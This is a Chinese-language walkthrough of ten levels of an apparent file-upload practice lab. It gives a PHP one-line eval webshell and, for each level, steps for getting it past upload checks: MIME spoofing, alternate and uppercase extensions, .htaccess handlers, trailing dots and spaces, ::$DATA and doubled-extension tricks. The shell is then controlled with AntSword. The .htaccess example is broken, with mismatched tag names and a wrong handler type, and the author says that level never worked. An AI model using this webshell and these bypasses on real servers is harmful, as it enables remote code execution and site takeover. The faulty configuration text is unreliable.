1一句话木马用的是
<?php @eval($_POST['cmd']); ?>
第一关客户端验证(前端)
先看源码
只对前端JS文件上传后缀进行验证,后端没有验证
步骤一按F12找到οnsubmit="return checkFile()"删除掉
步骤二 直接上传一句话木马 ,上传之后右键上传下面的图片点击在新标签中打开图像
步骤三 复制新标签的url地址,粘贴到中国蚁剑上进行测试连接
连接成功
第二关 文件类型校验(MIME校验)
先看源码
后端利用php的全局数组$_FILES()获取上传文件信息
上传步骤 一,先上传一句话木马用burp抓包
步骤二 修改content-type字段值为image/jpeg 图片格式(常用content-type字段)
image/jpeg:jpg图片格式
image/png:png图片格式
image/gif :gif图片格式
text/plan : 纯文本格式
text/xml : XML格式
text/html :HTML格式
步骤三复制新标签的url地址,粘贴到中国蚁剑上进行测试连接
第三关文件名后缀校验(黑名单绕过)
查看源码
本关使用黑名单限制文件上传类型,后端利用$_FLES()和strrchr()获取文件名后缀被限制的文件有.asp .aspx .php .jsp 但是没有限制例如.php3 .php4 .php5 等特殊文件名绕过
步骤一 上传一个后缀是.php3的一句话木马
步骤二用剑蚁连接
第四关文件名后缀校验(配置文件解析控制)
第四关因为配置的原因一直也做不出来只能给步骤了
这一关依然是黑名单限制,但是可以运行.htaccess文件上传
步骤一上传.htaccess文件n=内容如下(将服务器上的test.jpg文件解析成php文件,这里文件可以自由配置)
<FliesMatch "test.jpg">
SetHandler application/x-http-php
</FileMath>
步骤二 在上传一个一句话木马,文件名为test.jpg,访问上传的图片但是会以php形式显示
第五关文件名后缀校验(配置文件解析控制)
查看源码
发现可以点加空格绕过
步骤一上传一句话木马并用burp抓包
步骤二 修改后缀名为php. .
步骤三 把修改好的发送回去并复制图片的url地址使用蚁剑测试连接
第六关文件名后缀校验(大小写绕过)
查看源码,发现可以利用后缀大写绕过
步骤一把之前的一句话木马的后缀改成.PHP并上传
步骤二复制图片的URL地址用蚁剑连接即可
第七关文件名后缀校验(空格绕过)
查看源码 发现没有首位去空处理
步骤上传一句话木马使用burp抓包在.php后面加一个空格,然后用蚁剑连接即可
第八关文件名后缀校验(点号绕过)
查看源码发现对上传文件后缀名没有未作去点的操作
步骤上传一句话木马使用burp抓包在.php后面加一个点,然后用蚁剑连接即可
第九关文件名后缀校验(::$DATA绕过)
查看源码发现对上传文件的后缀名去::DATA处理(windows系统下,如果上传的文件为a.php::$DATA会在服务器上生成一个a.php的文件,其中内容和所在上传文件内容相同,并被解)
步骤上传一句话木马使用burp抓包在.php后面加上::$DATA,然后用蚁剑连接即可
第十关文件名后缀校验(拼接绕过)
查看源码 将文件名进行过滤操作后将文件名拼接在路径后面
步骤传一句话木马使用burp抓包把.php改成.pphphp,然后用蚁剑连接即可